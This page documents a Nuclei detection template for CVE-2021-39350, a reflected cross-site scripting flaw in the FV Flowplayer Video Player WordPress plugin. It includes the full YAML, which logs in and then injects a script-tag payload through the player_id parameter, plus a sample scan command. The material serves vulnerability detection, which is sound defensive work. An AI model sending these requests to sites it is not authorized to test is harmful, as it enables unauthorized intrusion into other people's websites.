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FV Flowplayer Video Player WordPress plugin - Authenticated Cross-Site Scripting

ID: CVE-2021-39350

Severity: medium

Author: gy741

Tags: cve2021,cve,wpscan,wordpress,xss,wp,wp-plugin,authenticated,foliovision

Description

Section titled “Description”

The FV Flowplayer Video Player WordPress plugin is vulnerable to Reflected Cross-Site Scripting via the player_id parameter found in the ~/view/stats.php file which allows attackers to inject arbitrary web scripts in versions 7.5.0.727 - 7.5.2.727.

YAML Source

Section titled “YAML Source”
id: CVE-2021-39350


info:
  name: FV Flowplayer Video Player WordPress plugin  - Authenticated Cross-Site Scripting
  author: gy741
  severity: medium
  description: The FV Flowplayer Video Player WordPress plugin is vulnerable to Reflected Cross-Site Scripting via the player_id parameter found in the ~/view/stats.php file which allows attackers to inject arbitrary web scripts in versions 7.5.0.727 - 7.5.2.727.
  impact: |
    Successful exploitation of this vulnerability could allow an authenticated attacker to execute arbitrary JavaScript code in the context of the affected website, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Update to the latest version of the FV Flowplayer Video Player WordPress plugin to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/e9adc166-be7f-4066-a2c1-7926c6304fc9
    - https://nvd.nist.gov/vuln/detail/CVE-2021-39350
    - https://plugins.trac.wordpress.org/changeset/2580834/fv-wordpress-flowplayer/trunk/view/stats.php
    - https://www.wordfence.com/vulnerability-advisories/#CVE-2021-39350
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-39350
    cwe-id: CWE-79
    epss-score: 0.00106
    epss-percentile: 0.43162
    cpe: cpe:2.3:a:foliovision:fv_flowplayer_video_player:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: foliovision
    product: fv_flowplayer_video_player
    framework: wordpress
  tags: cve2021,cve,wpscan,wordpress,xss,wp,wp-plugin,authenticated,foliovision


http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check


        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/admin.php?page=fv_player_stats&player_id=1</script><script>alert(document.domain)</script> HTTP/1.1
        Host: {{Hostname}}


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"
          - "<h1>FV Player Stats</h1>"
        condition: and


      - type: word
        part: header
        words:
          - text/html


      - type: status
        status:
          - 200
# digest: 490a0046304402203798ff09e7e5c49476205865e7cd5f451b74b0e913d5644837776714b6f90fd702200a21358dc93ca880c0f9da2c9841182f49d3650914656299e8be2a4b9dc1bf22:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-39350.yaml"

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